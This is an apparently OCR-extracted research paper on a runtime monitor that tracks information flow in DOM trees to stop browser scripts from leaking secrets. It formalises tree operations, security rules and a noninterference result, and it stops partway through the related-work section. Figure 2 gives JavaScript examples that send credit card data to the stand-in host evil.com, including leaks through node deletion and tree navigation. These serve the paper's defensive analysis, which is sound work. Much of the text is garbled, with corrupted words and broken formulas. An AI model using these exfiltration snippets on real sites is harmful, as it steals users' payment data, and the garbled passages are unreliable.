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Abstract. This paper explores the problem of tracking information fiavy-
namic tree structures. Motivated by the problem of manijngathe Document
Object Model (DOM) trees by browser-run client-side sajpte address the dy-
namic nature of interactions via tree structures. We ptesamtime enforcement
mechanism that monitors this interaction and prevents geraf attacks, some
of them missed by previous approaches, that exploit thestreeture in order to
transfer sensitive information. We formalize our approfimta simple language
with DOM-like tree operations and show that the monitor prés scripts from
disclosing secrets.

1 Introduction

Client-side scripts (written, for example, in JavaScrig® ubiquitous in today’s web
applications. These scripts provide indispensable poweérflgxibility for client-side
computation such as dynamic rendering and input validafibry often rely on access
to such information sources as the contents of input formmy&ing history, cookies,
etc., possibly containing sensitive data such as creditmambers, passwords or other
authentication credentials for various web services.

While having access to sensitive resources, scripts alsopwssibilities for outside
communication. This communication can be direct, e.g.XMLHttpRequest , or
indirect, e.g., by the URL of an image that is loaded from edtipiarty web site. This
communication opens up possibilities for devastatingcktaWhether the client-site
code is trusted or not (or possibly injected as a result ofoas-site scriptingdXSs)
attack), a key challenge is to prevent this code from digngpgsers’ sensitive data.

This paper is motivated by the problem of preserving confidéty of users’ data
by client-side scripts. The focus is not on preventing itigets (which is a separate
research area), but on ensuring that attack payload mayonaty harm. We propose
a runtime enforcement mechanism to prevent insecure irgtom flow. Our mecha-
nism draws on work on information-flow control for convemté and dynamic lan-
guages [30, 21, 36, 2]. However, there is more to informaflimm in a script that runs
in a browser than simple data and control-flow dependencyptSdnteract with the
browser via the Document Object Model (DOM), a languagespahdent interface
that regulates access to the tree structure of the undgrijifML document. This
opens up a new range of opportunities for attackers. For pkara malicious script
can use the DOM tree for laundering secret information: aetexan be stored in
the DOM tree and subsequently sent to the attacker. Thisvaihility has been coun-
tered by “tainting” techniques that extend informationaflmacking to the DOM tree.



For example, Vogt et al. [36] mark the content of
newly created nodes as tainted, if their creation html
depends on a secret, and prevent communication /\
of tainted values to untrusted parties. This pre-
vents some attacks, but, unfortunately, does nof'¢ad body
provide full protection. We show that the attacker ‘ ﬂ\
can evade information-flow tracking by both en- fitle hi img 0
coding secret information into the structure of the
DOM tree and exploiting tree navigation. ‘ ‘ ‘
This paper demonstrates the attacks andq text text
presents a client-side enforcement mechanism
that tracks information flow in dynamic tree
structures as the DOM tree. The mechanism pre- 1 vs 1
vents a range of attacks based on the struc-
ture of the DOM and navigation. We formalize /\ \
our approach for a simple language with DOM- 2 3 3
like operations and show that the monitor pre- (b) Deletion attack
vents scripts from disclosing sensitive informa-
tion. The permissiveness of enforcement is par-
ticularly important for realistic applications that ‘ ‘
use DOM-trees extensively. By focusing on tree > 5
structures (rather than general purpose monitors
that support arbitrary data structures), we gain
the desired permissiveness of the enforcement.

(@) DOM tree example

1 Vs 1

(c) Navigation attack

Fig. 1. Example trees

2 DOM-based attacks

This section discusses the attacker model, providing anuentof client-side JavaScript-
based attacks ranging from direct leaks to more sophisticahes that involve the
DOM tree, and motivating our approach to protection.

Attacker model The attacker’s target is user-sensitive data that is dlailto the
browser in the context of a given web page or the data storée aerver that might be
accessible in the context of the user session. This datadaslbrowser cookies, form
input, browsing history, etc. (cf. the list of sensitive soes used by Netscape Navigator
3 [25]). Client-side scripts have full access to such datas Ts a useful feature: one
common usage is form validation, where (possibly senitilega is validated on the
client side by a script, before it is passed over to the seWeifocus on confidentiality
properties of the scripts: they should not be able to leatrin&tion by transferring it
from secret sources to public sinks. The public sinks aremfable by the attacker. For
example, this could be communications to attacker-obbéwaeb sites, but this could
be also communications with some parts of the host site lieasdript should not have
capability for. These policies can be expressed in a sufigidine-grained security
lattice. In the form validation scenario, a validity chedkaocredit-card number may
be allowed, but sending the number to an untrusted partyn(Bgure 2(a)) should be



new Image().src=
"http://evil.com/leak?secret="+encodeURI(form.CardN umber.value);

(a) Leak via URL

if (form.CardType.value == "VISA")
new Image().src="http://evil.com/leak?VISA=yes";
else new Image().src="http://evil.com/leak?VISA=no";
(b) Implicit flow

newDiv = document.createElement("div");
newDiv.innerHTML = form.CardNumber.value;
document.location =
"http://evil.com/leak?secret="+encodeURI(newDiv.inn erHTML);

(c) Simple DOM leak

if (form.CardType.value == "VISA")
root.removeChild(root.firstChild);
var x = root.childNodes.length;
new Image().src="http://evil.com/leak?VISA="+encodeU RI(x);

(d) Deletion leak

if (form.CardType.value == "VISA") root=root.firstChild ;

var X = root.childNodes.length;

new Image().src="http://evil.com/leak?VISA="+encodeU RI(x);
(e) Navigation leak

Fig. 2. Example leaks

not. For the sake of generality, we abstract away from aqaati choice of sensitive
sources and public sinks in the rest of the paper. We adoptdingt-case assumption
that the attacker has full control over client-side codesTaptures a wide range of
attackers, including those that succeed in taking overahnéral of the client-side code
by cross-site scripting (XSS).

Explicit and implicit flows Figure 2(a) corresponds to axplicit flow, where se-
cret data is explicitly passed to the public sink via URL. g 2(b) illustrates aim-
plicit [11] flow via control flow: depending on the secret data, themeedifferent side
effects that are visible for the attacker. The program bmee@mn whether or not the
credit card number typlorm.CardType.value is VISA, and communicates this
sensitive information bit to the attacker through the URbe3e flows are relatively
well understood [30]. What makes client-side securityrieséing is the API for inter-
acting with the browser. In particular, the DOM API that alscripts to access the
underlying DOM tree.

DOM Figure 1(a) gives an example of a DOM tree for a simple web gageontains a
<head> element with some text anddbody> element with a heading, embedded im-
age, and some text. DOM tree navigation and manipulationifives allow JavaScript
to traverse the tree and inspect, delete, and insert nodes.

Simple leak via DOM DOM operations open up new possibilities for attacks. Fig-
ure 2(c) shows a simple leak via DOM: a piece of secret datdoigd into a new
node of the DOM tree, subsequently retrieved from the naald sant to the adversary.
A common technique for tracking such leaks for dynamicatBated objects (as tree



nodes) is to mark object containers [24, 33, 27] (or theitenn[36]) astainted when
affected by secrets. Tainted data is not allowed to be djreeinsferred to public sinks.

Deletion attack® However, there is more to tracking information flow in thegeace of
DOM operations. For example, a script may create two nodégten, depending on

a secret, delete one of them. Figure 1(b) graphically ilaist the tree and Figure 2(d)
provides the code fragment. Nodéthe root) in Figure 1(b) has two childrémand 3.

If the secret bit is true, then nodes deleted. Note that no nodes are tainted in either
case. Asking for the number of children of notielearly reveals the secret bit. The
essence of the attack is the publicly observable side effiedeleting a node, which

is performed in asecret contextSecret context corresponds to computations inside a
conditional or a loop with a secret guard. We show [29] how amnify this attack to
leak larger secrets (which could be credit card numbersiespbanking data, etc.).
This code is a result of our experiments with the NoMoXSS tmoMogt et al. [36].
These experiments demonstrate that while simpler attaeksaaight, this leak is not.

Navigation attack Another attack exploits navigation. Figure 1(c) grapHicdlus-
trates the navigation in the tree and Figure 2(e) providestide fragment. The tree
contains two nodesand2, where nodé is the parent of nod2 The bold font indicates
the current position of the script navigation in the DOM tréghe secret bit is true,
the script navigates down to the chilabf nodel. Asking for the number of children of
nodel clearly reveals the secret bit. The essence of this attaitleipublicly observ-
able side effect of changing the navigation position, whdepends on secret context.
We show [29] how to magnify this attack to leak larger seci@imilarly to the deletion
attacks, the NoMoXSS tool [36] does not prevent this leak.

Countering DOM-based attacks This paper suggests preventing the above attacks by
prohibiting publicly observable side effects when the pang runs in secret context.
Besides tracking explicit and implicit flows, our securitgamanism provides a flexible
yet sound treatment of DOM-related flows for a simple languagh tree operations.
We derive the security level of existence for each node fioencontext of its creation.
Our security mechanism monitors the execution and keeptiagiant that (i) the
existence level of a parent may not exceed the existencédéeechild, (ii) for two
neighbor siblings, the existence level of the left child nmot exceed the existence
level of the right child, (iii) the public part of the tree (gerated by “erasing” the secret
part) does not depend on secrets, and (iv) the navigatiatiggodoes not depend on
secrets whenever computation is outside a secret contéttt.tkiése constraints, the
execution is monitored in such a way that the context is @as “secret” every time
there is branching/looping on a secret or navigating thihcugecret node. No public
side effects (such as storing the number of secret nodesuiblecpariable) are allowed
in secret context.

As discussed in Section 7, our monitor has advantages fallingriree operations
(i) over typical static approaches (e.g., [24]) due to thaaiyic nature of the DOM,
and (i) over dynamic approaches (e.g., [36]) when it comesoundness. The inten-
tion is that the monitor can be deployed in different waysaatipularly natural one

3 This attack is due to Martin Johns, personal communication.



is as a browser extension. Similarly to Vogt. et al. [36], ownitor could be imple-
mented by extending the browser’s JavaScript engine anD@ tree representation
without a major impact on performance. Vogt et al. remark tisars do not experience
noticeable slowdown when using their secure browser. Weebthe same results re-
garding performance to be applicable to our monitor. No& tiire monitor can be used
by both end users for preventing leaks at execution time grakelbelopers for testing
web applications before they are released.

In the rest of the paper, we abstract away from the choicee#tret (ohigh)
sources and public (dow) sinks. We assume a simple model, where variables are
partitioned into high (written a$/) and low (written asl): the initial values of the
high variables correspond to secret sources and the finaévalf the low variables
correspond to public sinks.

3 Semantics for tree operations

Language We consider a simple imperative language with primitivesfi@nipulating
DOM:-like trees. Expressionsconsist of integers, variablesr, and composite expres-
sionse & e, whered is a binary operation. Commands consist of standard imiperat
instructions and tree-manipulation commangdtor creating and removing nodes, nav-
igating the tree, and setting a node value. The languageaicsradditional commands
signifying the end of a structure blockr{d) and termination {top), explained below.
The additional commands can be generated during the egacbtit they may not be
used in initial configurations. This assumption can be ga&siforced by restricting the
grammar used by programmers to exclude commandsand stop. A commande,
memorym, treet, and a patlp in ¢ form acommand configuratiofic, m, ¢, p ). Small-

step semantics is described by transitions of the foetn, ¢, p ) fw (c,m/, ¢, p),
wherea is aninternalevent andy is anexternalevent triggered by the transition. Inter-
nal events convey information about program execution texacution monitor. As we
explain in Section 4, the monitor uses this information idesrto determine if the exe-
cution can proceed. External events model program outputsifplicity, we assume
that assignments to public variables are observed. Thusgt@nnal eveny can be an
empty evenie) or an event of the fornfa(z, v)), indicating that variable: has been
assigned value.

Events Events is triggered by commanskip, and event(z, ¢) by command: := e.
The semantic rules faskip, assignments, and sequential composition are standard.
Command4 £ e then ¢y else ¢ andend trigger eventsé(e) andf, respectively. Event
b(e) indicates that the program branches on the expregséom is about to enter one
of the branches. Expressiefis a part of the event label so thatifnvolves secret data,
the monitor will prevent any publicly observable behaviottie taken branch. The.d
command is executed after the corresponding branch. Far@gain a situation where
an expressiom evaluates to true, command e then c; else cp reduces ta;; end.
Observe that the semantics is instrumented in a light-weiggnner. Commandnd
informs the monitor that the block structure of a conditidmes finished its execution.
This instrumentation is particularly useful to avoid ovestriction in our monitor (see



Section 4). Similar to conditionals, the semantic rule tmgs triggers the same event
b(e). When the loop’s guard is non-zero, the command executes after the body
of the loop, i.e.while e do ¢ is transformed int@:; end;while e do ¢. The formal
semantics rules are available in the full version [29].

Trees Turning our attention to trees, programs have a noticactifal working nodéor
DOM trees similar to the notion @fctual working directoryfor file systems. Programs
can only manipulate data at the actual working node, but Hreyable to navigate
through the whole DOM tree.

We model trees as partial mappings from paths to valuesifplisity, we consider
trees that store integefat. Formally, trees are mappings [N*] — Int, where[N ]
ranges over sequences of positive natural numbers. Wetheidomain of asdom (t),
the empty list ag, and a list of elements,, no, ..., n, as[ni, na, ..., n, . Predicate
prefix(p’, p) holds when path’ is a prefix of pattp. Pathp’.[n] denotes the path that
results from following pathy’ in the tree and then going to the child numhbeGiven
a pathr, p.r is the path resulting from concatenating the pathsdr. We assume that
partial mappings are prefix-closed, which is a reasonalbjeirement for representing
trees, and that, for simplicity, children are enumerateith@nleft-to-right order, where
the leftmost child is assigned numbeerDifferent from term-rewriting techniques, our
representation of trees is particularly suitable to wortkhatevel of nodes rather than on
structures of trees. To illustrate how mappings can enaedstwe show an example,
where every node is initialized t@ and the tree exhibits a similar structure to the one
presented in Figure 1(a)html — 0, head — 0,body — 0, title.text — 0,h1
0,hl.text — 0,img — 0,p — 0,p.text — 0}, wherehtml = ¢, head = [1],
body = [2], title = [1, 1], text = [1], h1 = [2,1], img = [2,2], andp = [2, 3]. For
exampletittle.text acquires the valuf, 1, 1] under this encoding.

Tree expressionsThe semantics rules for expressions have the foemmn, t,p) | n,
where an expression configurati¢n, m, t,p ) with an expressior, a memorym, a
pathp, and a DOM tree evaluates to value. The rules forchildren andvalue are
(the rest of the rules are structuraly:hildren, m,t,p) | size({i | p.[i] € dom(t)})
and{value,m,t,p) | t(p). Recall thaip records the path that leads from the root of
the tree to the actual working node. We will indistinctlyeefop as the actual working
node or as the path that leads to it. Functiare(S) returns the number of elements
in the setS. Expressiorchildren evaluates to the number of children of the actual
working node. Expressionalue evaluates to the value stored in the actual working
node, which is obtained by applying the tree to the actuakimgrnodep.

Tree commands Commandsaiove, move;, move -, andmove_,, respectively, change
the actual working node to the root of the tree, the pareet)aftmost child, and the
node on the right of the actual working node (see Figure 3jn@andsew_-(e) and
new_, (e), respectively, insert a leftmost child and a node on thet bfithe actual work-

ing node. In contrast, commangdemove - andremove_, delete the leftmost child and
the node on the right of the actual working node, respegtiidélese commands replace
the treet by its updated versions® - (p,n), t & (p,n), t ©_ (p), andt ©_, (p).
Functionst -, ¢_., & -, ands_, operate on mappings representing trees, as explained
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Fig. 3. Semantics of tree commands
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Fig. 4. Operations on tree mappings

below. Each tree command triggers an event that indicagespbration that has been
performed. Event$,,, —, «, andA are associated taove commands as expected.
For the commandsew - andnew_., eventss®, ands<, include the expression denot-
ing the value added to the tree. Similar to the branching camts, this is done in order
for the monitor to analyze the confidentiality levelcofsee Section 4). Events - and
©_, are associated with node deletion.

The described tree expressions and commands were modahedfe W3C DOM
specifications ([38]), in particular thidode interface which captures the tree opera-
tions of all the HTML and XML elements. For simplicity, we lape thenodeName,
nodeValue , nodeType andattributes properties by a singlealue property.
Also, the previousSibling property andhasChildNodes() method are not
exposed, but could be expressed using the primitives weidledc Perhaps the biggest
difference between our semantics and those of JavaScrip D@erations is the fact
that in JavaScript one could have several references &reiff nodes in the DOM tree,



whereas in our semantics there could be only one referenredlcing references to
nodes in our setting is a worthwhile subject for future work.

Insertion and deletion of nodes We clarify how to modify tree mappings when in-
serting or removing nodes (see Figure 4). When we insert a ndtth a valuen as the
leftmost child to the actual nodein ¢, written ast &_- (p, n), the resulting mapping
returns (i)n when applied to the path that indicates the leftmost chilg ¢f.[1]); (ii)
the value stored in atp.[n — 1].r when asking for the value storedafn|.r (observe
that paths passing and going to some child, wheren > 1, are shifted one position
compared to the mapping before the update due to the insertithe leftmost child);
and (iii) values stored im for paths that do not pass througHi.e., paths that do not
have the shapg.[k].r, for somer andk).

The deletion of the leftmost child of the actual ngdé ¢, written ast ©_ (p),
returns a mapping, where the childrerpare shifted one position due to the removal of
the leftmost child. As expected, the shifting is done in thpasite direction to insertion.

The insertion of a node with a value as the node on the right gf, written as
td_, (p,n), requires thap is the child numbew of some node”. The updated mapping
then returns (iy» when applied to the path that indicates the node on the right(ae.,
p”.[w + 1]); (i) the value stored irt for any of p's siblings on the left op (i.e., nodes
that are located on paths of the foph.[k].r for £ < w and some-); observe that the
nodes on the left gf are not shifted compared tsince their position as children pf
are not affected by inserting a node at position 1; (iii) the value stored irt at the path
p".[k — 1].r (similarly as for the insertion of leftmost child, the nodee shifted one
position due to the insertion of the node at positior- 1); and iv) the values stored in
t for paths that do not pass through(i.e., paths that do not have the shapeg’6fk|.r,
for somer andk).

The deletion of the node on the right of the actual npda ¢, written ast ©_.,
(p), returns a mapping, where some childrerp6fare shifted one position due to the
removal of the node. Unsurprisingly, the shifting is donehia opposite direction to
insertion. Functionss -, ©_., ©_, ando_. preserve the tree structure of the partial
mappings: the insertion of leftmost children does not biteakiree structure af

4 Enforcement

This section describes a runtime security enforcement argsin for monitoring the
execution. Amonitor configuratiorhas the form| o, w, 7, p ) for a given stack of secu-
rity levelso, anavigation pcw, a typingr for a tree, and the actual working noplé/Ne
explain the purpose of the elements in the configurationvb€lthe monitor performs
transitions of the forn{ o, w, 7, p ) % (o, w',7",p" ), where, as before, eventranges
over the internal events triggered by programs.

Intuitively, every time that a command triggers an eventhe monitor allows ex-
ecution to proceed, if it is also able to perform the labelagiditiona. The monitor
might disallow execution by stopping it (whenever it is uleaio perform any transi-
tion). Formally, a monitored configuration makes a traositic, m,t,p | o,w, 7 ) —

(d,m/;t' p' | o, ") if the program and monitor make transitiohs m, ¢, p ) iv
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Fig. 5. Monitor rules

(,m/, ¢, p ) and{o,w,T,p) 5 (o,w',7',p"), respectively. Observe that the actual
working nodes in the command and monitor configurationsteresame.

Monitoring basic commands The semantics of the monitor is described in Figure 5.
For the moment, we ignore the parts of these rules marked gvéi since they are
related to trees as well as the rules associated to evaygeted by tree commands, to
be explained below. Event originated byskip, is always accepted without changing
the monitor configuration. The stack of security levelsvhich initially is empty (de-
note bye), keeps track of the dynamsecurity contexf13, 21]: the security levels of
the expressions appearing in the guards of branching couer(@aa., conditionals and
loops). Typing environmenft' associates every variable in the program with a security



level. Since our approach is flow-insensitivéis constant during the monitored execu-
tion of a program and therefore we omit mentioning it in thenitmr. Flow sensitivity
for program variables can also be considered by our moriitodo that, it needs to
be restricted to variables that are not part of commandstiaaitch on secrets (cf. [3]).
However, as mentioned in Section 1, our monitor provides Hensitivity for nodes in
the tree while keeping flow insensitivity for variables.

For convenience, we view the two security levels, Ibvand highH, as elements
of a security lattice, wherd, = H and use the lattice join operator that returns
the least upper bound over two given levels. Funcfiar{e) returns the least upper
bound of the security levels of variables encountered imesgiore. Similarly, function
lev(o) returns the least upper bound of the security levels on kst Eventa(z, e),
originated from executing := e, is accepted without changes in the monitor state
but under two conditions. On one hand, the security levekpfessiore is bounded
from above by the security level of variaklewhich prevent&xplicit flowof the form
[ := h for a low variablel and a high variablé. On the other hand, the highest level
of the security stack is bounded from above by the security level of variahl&hich
preventsmplicit flow[11] of the formif h thenl := 0 elsel:= 1.

The rule for evenb(e) pushes the security level efonto the security stack. This
helps preventimplicit flows. For example, runs of the progid / then! := O elsel :=
1 are stopped before performing the assignmentbézause the security stack contains
H at the time of assignment. The stack structure avoids @adrictive enforcement.
Forinstance, runs of the progrgit # thenh’ := 0 else b’ := 1);1 := 0 are allowed
since, by the time the assignment is reachedH has been removed from the stack in
response to the eveyfit which is generated on exiting the scope of the conditional

It might be surprising that the monitor does not stop the etien of if i then!l :=
1 else skip whenh is 0. This might seem dangerous, but in fact it is as insecure as
allowing runs of programshile h do skip (which are typically allowed by classical
Denning-style enforcement). Indeed, we show in Sectiorabdhr monitor guarantees
termination-insensitive security. Attacks discussedi\ p] are not possible since they
exploit the flow sensitivity of the monitor in order to magnihe leak.

Monitoring tree commands To preserve confidentiality in the presence of tree op-
erations, the monitor keeps track of more information thamaple stack of security
levels. This additional information is represented in thenitor by a typingr of a tree,
anavigation pav, and an actual working noge
. Atyping of atree is a partial mapping from paths
L to security levels. Formally; : [NT] — (7, wherer
/¥\ are prefix-closed and children are enumerated from
L gL pgH left-to-right order. Given a pqtb, the typingr(p)
of the form ¢ expresses thatis the security level
of the value stored in the node, whikeis the confi-
dentiality level of the presence, or existence, of such
node in the tree. The reason to include two security levaelsipée is that not only the
content of the node may leak information, but also the presefi it in the tree. For
example, the program := children indirectly queries the existence of children for
the actual working node. The security types assigned tosicefemble the treatment

Fig. 6. Typing for a tree
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of references. As is common [16, 26, 24, 33], security tyjpesdferences contain two
parts: a security type and a security reference type. Theisgtype provides security
annotations about the data that is referred to, while therggaeference type gives a
security level to the reference itself as a value. For sioitylithe security level of the
content {) remains invariant during the existence of the node. Ingipie, it would be
possible to allow raising the existence level of a node. Hanghe dynamic nature of
our approach already allows programmers to achieve thatr&tyyfdeleting the node
and then inserting it again under a given security context.

We introduce functioriev(e, 7, p) to determine the confidentiality level of values
obtained by expressionmlue andchildren. Before defining it, we need to present
some auxiliary definitions. Functiasffs obtains the set of typings for the offspring of
a given nodev. It is defined affs(r,p) = {(i,7(p.[i])) | i € NT,p.[i] € dom(T)}.
Functionlev, (e, 7, p) obtains the confidentiality level foralue as follows:/ U o if
value € e A 7(p) = (?. Otherwise, the level id. Functionlev.(e, 7, p) obtains the
confidentiality level forchildren as follows:| | ; jo)c (s, © If children € e.
Otherwise, the level i€. Unsurprisingly, this last function only takes into accotire
existence level of nodes. After all, expressiarildren determines the number of off-
springs without exploring their contents. Functilen(e, 7, p) is then defined as simply
levy(e, 7, p) U leve(e, T, p).

Going back to the rules presented in Figure 5, we observahbaule for assign-
ments (event(x,e)) demands thatev(e,7,p) T I'(x). This requirement prevents
explicit flows involving data related to trees. To demortstthat, we present a typing
for a tree in Figure 6 where all the nodes have an existenet ¢\, except for the
rightmost child of the root node. Assuming that our prograndéaling with such a
tree and the actual working node is the root node, the ex@atuati/ := children
is stopped due to the presence of a child with existence |BveThe execution of
move_;move_,;[ := value iS also stopped at the attempt of assignment. The reason is
that a high value stored in the middle node is attempted tedleed into a low variable.
Functioniev(e, 7, p) also contributes to determine the security level efhen monitor-
ing the evend(e). Observe that might involve expressionsalue andchildren.

Security levely, callednavigation p¢represents the least upper bound on security
levels associated to the existence of nodes that have bsigdviln the two-point lat-
tice, if the program travels through a node with existeneellél, then the navigation
pc is raised taH .

The monitor imposes no restrictions for events,”, and — provided that the
node becoming the actual working node exists. The hypdattedshese rules are self-
explanatory. Nevertheless, it is worth to remark that, &sthrules, the navigation pc is
raised with the security level of the new actual working nddehis manner, the mon-
itor captures the fact that future operations performeet afisiting such node depends
on the existence of it. Thanks doin the monitor, it is possible to prevent navigation at-
tacks or any attacks that exploit the fact that a node is pteseabsent, in a tree. More
precisely, if we go back to the monitor rules in Figure 5, waerve that the rule for
eventa(z, e) requires thatv C I'(x). Hence, navigation attacks, such as one illustrated
in Figure 1(c), are prevented. For instance, consideriragnaiipe tree in Figure 6 and
assuming the root node as the actual working node, the ffpwavigation attack is
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prevented by our monitofif 5 thenmove - else skip);! := value. Observe that
the navigation pc is set t& before reaching the assignment to

Similarly to restoring the context by popping a high elenfenin the security con-

text stack on exiting the scope of a conditional loop, we wdike to have a similar
mechanism for restoring the navigation pc. As for the ségwontext, the lower the
navigation pc the more permissive the monitor is becaudeshigc means more restric-
tions. There are several alternatives for achieving tha.dgeor simplicity, we choose
that every time programs navigate to the root of the tree leg@ting commandove,,
w is set tolev(o). Observe that we cannot always reset the navigation pc gmce
the decision to go to the root of the tree is taken in some ggaontext. Another op-
tion could have been to go back to the last visited node witbtexce levell, when
lev(o) Uw = L. However, this alternative requires more bookkeeping byntlonitor.

Rules for eventss - and©_. monitor node deletion. These rules allow deleting
nodes provided that the existence levels of such nodes dosveothan the level of the
security context where deletion is performéeb(o) U w C o). This prevents deletion
attacks. For example, the deletion attack illustrated guFé 1(b) is no longer possible
since nodes storing numbers2, and3 have existence levdl (they were created in
the security context), and the deletion is performed immediately after brangtan
a secret, which pushes the security contexttolnsertion of nodes is monitored by
the rules for eventss®, and®<,. In both rules, the confidentiality level of the value
stored in the node is determined by the confidentiality lefeixpressiore (lev(e) U
lev(e, T, p)). The existence level is determined by the security corlext{o) U w) at
the time of insertion. Rule for evert®, checks that the existence level of the inserted

node is no higher than the node on its righty([1]) = ¢ = o C ¢’). Similarly,
when events€, is triggered, the monitor rule checks that the existencellef the
node on the right of the actual working node before insertjérim + 1]) is no lower
than the existence level of the new node{ ¢’). Observe that inserting a node on the
right of the actual working node affects the position of tleeles on the right of it. To
illustrate this point, let us assume that the requiremépit[m + 1]) = ¢’ = ¢ C o’

is not present in the monitor rule for evept, . Then, let us consider the executions of
the program(if h then new_,(h') else skip);remove_,;move_,;l := value with
the given tree = {[1] — «,[1,1] — %,[1,2] — 0,[1,3] — 1}, where each node is
associated with the type” and the initial actual working node set ftt 1] (symbolx
represents any value). Observe that whea true, the first instruction inserts a node
H* at[1,2], which moves the public nodes storifigand 1 one position to the right.
Observe that the position of these two nodes now depend aetiet even though their
types indicate otherwise. In this case, the final result f8. In contrast, ifh is false,
the final result of is 1, which clearly constitutes a leak. This program is rejettgdur
monitor when is true since the constrait(p’.[1,2]) = H = H C Lis not fulfilled
when inserting the node at the then branch.

Due to the above constraints, it is not possible to obtaie®, tvhere a node with
existence leveH has a child with existence levél It is not possible either to obtain a
node with existence leveéf that has a node with existence levebn its right.

Node updates are monitored by the rule for event(e). This rule requires that the
confidentiality level of expressianand the security context are bounded from above by
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the security level of the content of the node. In this marieaks via trees are prevented.
For instance, the leaks described in Figures 2(a), 2(b)2é&)dare prevented, assuming
thatimage().src  has typeL”.

PermissivenessThe resetting mechanism of thavigation pcdescribed above might
raise some questions about the permissiveness of our mowitit this in mind, we
illustrate a common interaction between JavaScript and Of@¥ls found in web ap-
plications: form validation. In this scenario, an scriptiged to navigate through every
field in the form (just nodes in the DOM tree), and check thaytbontain valid values
(see the full version [29] for the code). Assuming the attackodel given in Section 2,
the content of the form is considered secret. Validatioriines usually do not involve
any communication with public sinks like loading an imagecode from untrusted
domains. Consequently, a full version of our monitor foraBeript would accept the
routine. However, if that is not the case, we have two polis#isi. On one hand, if
the communication to public sinks takes place before thid@abn, the monitor would
still accept the routine. Observe that thevigation pds not raised in this case. On the
other hand, if the communication occurs after the routihe navigation pcneeds to
be reset. There are several alternatives for achievingig.possible to automatically
insertmove, in the appropriated places by static analysis. Furtherptioeemonitor it-
self might perform “safe” resetting when needed. Theseoogtare worth exploring.
We believe that the monitor is not over-restrictive becgqusaic sinks are rarely found
on the client side of web applications. For example, sc@pesfrequently connected
to the site of their origirO and, according to our attacker model, information sent and
received fronD is considered secret. Public sinks, in this example, coelddvertise-
ments loaded from domains different th@n

5 Security

This section presents formal guarantees provided by thdataroW/hen showing the
soundness of security enforcement mechanisms, an attclew is often represented
by an indistinguishability relation that describes whatmoeies the attacker may or
may not distinguish. The security soundness guaranteéptbgram behaviors pre-
serve memory indistinguishability: a program that starith \wdistinguishable memo-
ries will not be able to distinguish between them over thersewf the computation.
For example, for a simple imperative language such a relabosists on the agreement
of public values appearing in memories (e.g., [30]). In a DO&&ed setting, we define
an additional indistinguishability relation for tree@(, 1) ~r (t2,72)). The details
of this relationship as well as the rest of the technical migtare available in the full
version [29]. We classify an eventof the monitored semantics as lowyif= a(x, v)
wherelev(z) = L, otherwise the event is considered high. We refer to low agt h
events ag/’ andy”, respectively. We denote a continuous, possibly emptyesecge

H *
. ol H . .
of monitored steps+ as—. The next theorem describes our main result.

Theorem 1 Given a command and an execution such thatc, my,¢1,p | o,w, 71 )

s

H ,
— {c,mh,th,p" | oW T ) e (e, mA " | 0", W, 7 ), it holds that for any
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memoryms, treet,, and tree typing such thatn, =, mq and(t1,71) ~y, (t2, 72),
then one of the following items holds:
i) { ¢, ma,te,p | 0,w, 2 ) diverges or is stopped by the monitor. In either case, it does

H | M H / ! ! / / A !
not trigger any low event. i} c, ma, t2, p| 0,w, 72 ) — { ¢y, mh, t5,p" | o', W' T3 ) =k
(cf,mb th,p" | o, w" 7 ) wherem) =1 mb, m{ =5 m¥, (t},7]) ~1 (t4,75), and

(#,71') ~1 (13, 75).

Intuitively, assuming a monitored execution of a prograat iroduces a sequence of
low events, the theorem guarantees that if the attackerthensame program with the
same public inputs again, the execution will produce eyadbt same low events (and
therefore the attacker does not gain knowledge about sgcogtthe execution stops
producing a sequence of events which is a prefix of the seguahtained in the original
run (which again does not increase the knowledge of thelattgcor the program
just diverges, in which case the attacker indeed obtainsim@rmation about secrets.
The condition that we prove is a varianttefmination-insensitive noninterferenfd.
This a general form of termination-insensitive nonintezfece that implies its batch-
job specialization: if we start with two memories that agoedhe low data and the two
monitored runs on these memories terminate, then the finalories also agree on low
data. If a program satisfies this definition, then the attaok®y not learn the secret in
polynomial running time in the size of the secret; and, fdfarmly-distributed secrets,
the probability of guessing the secret in polynomial ruigrtime is negligible [1].

6 Related work

For general background we refer to the surveys on languageebinformation-flow
security [30] and on JavaScript malware and related thf&é8{s Several predecessors
of our work provide a formal treatment of information-flonnrtime monitoring. Fen-
ton [13] presents a purely dynamic monitor that takes intmant program structure. It
keeps track of the security context stack, similarly to tleitor in Section 4. However,
Fenton does not discuss soundness with respect to norirgace-like properties. Vol-
pano [37] introduces a monitor for explicit flows and showat tinis monitor enforces
a weak form of security: a sequence of assignment commaatis tiven monitored
run executes does not leak information. The monitor ignongédicit flows. Boudol [4]
revisits Fenton’s work and observes that the intended &gq@alicy “no security error”
corresponds to a safety property, which is stronger thamtenfierence. Boudol shows
how to enforce this safety property with a type system.

A series of related work by Venkatakrishnan et al. [35], Lee@iic et al. [21, 20],
and Shroff et al. [32] offer combinations of static and dymaanalysis for informa-
tion flow in simple imperative languages. The language of lbei@ic [20] includes
concurrency primitives. They prove that these analysisantae forms of termination-
insensitive noninterference. McCamant and Ernst [22] grea tool that computes
quantitative bound on the amount of information a prograaks$eduring a run of a
program written in C. Yu et al. [39] present an instrumentatnechanism for mon-
itoring JavaScript code: a variety of policies can be immatad by inlining runtime
checks into the target code. No soundness proofs are prbvide

14



Sabelfeld and Russo [31] show that a purely dynamic infoionaffow monitor
for a language with output is more permissive than a Denstgle static analysis,
while both the monitor and the static analysis guaranteeséime security property:
termination-insensitive noninterference. Askarov anldeffald [2] investigate dynamic
tracking of policies for information release,declassificationRusso and Sabelfeld [28]
show how to dynamically secure programs with timeout irdtams. Austin and Flana-
gan [3] explore how to combine dynamic monitoring with flomnsiivity.

Chong et al. have developed a practical framework for infdiom-flow control in
web applications. Their tools Sif [8] and SWIFT [7] checkanhation-flow annotations
in source code, written in a Java-based language calle@4Jif fnd generate code for
servlets (SIF) and full-fledged web applications (SWIFTheTmain focus is on the
Jif-to-Java part. In the case of SWIFT [7], the rest of the jabluding the generation
of client-side JavaScript, is done by Google Web Toolkit][T¥o formal soundness
arguments are provided, however.

We have considered applying Jif's static philosophy fordigag DOM operations
in JavaScript. However, we see two main benefits of our dyo&m@atment. First, static
approximations of security for dynamic languages as Jay@tSuoight be overly re-
strictive. The commonly used dynamic code evaluation gimmieval (or equivalent
versions such as writing codeinto theinnerHTML property of a page element) is
a particular obstacle for static analysis, whereas it da¢gaose any problems for a
monitor like ours. Second, mixing low and high levels of éxige of siblings at the
same level of a tree is not natural in Jif: array or list stoues for representing sib-
lings would restrict the siblings to be of the same level. Karaative representation is
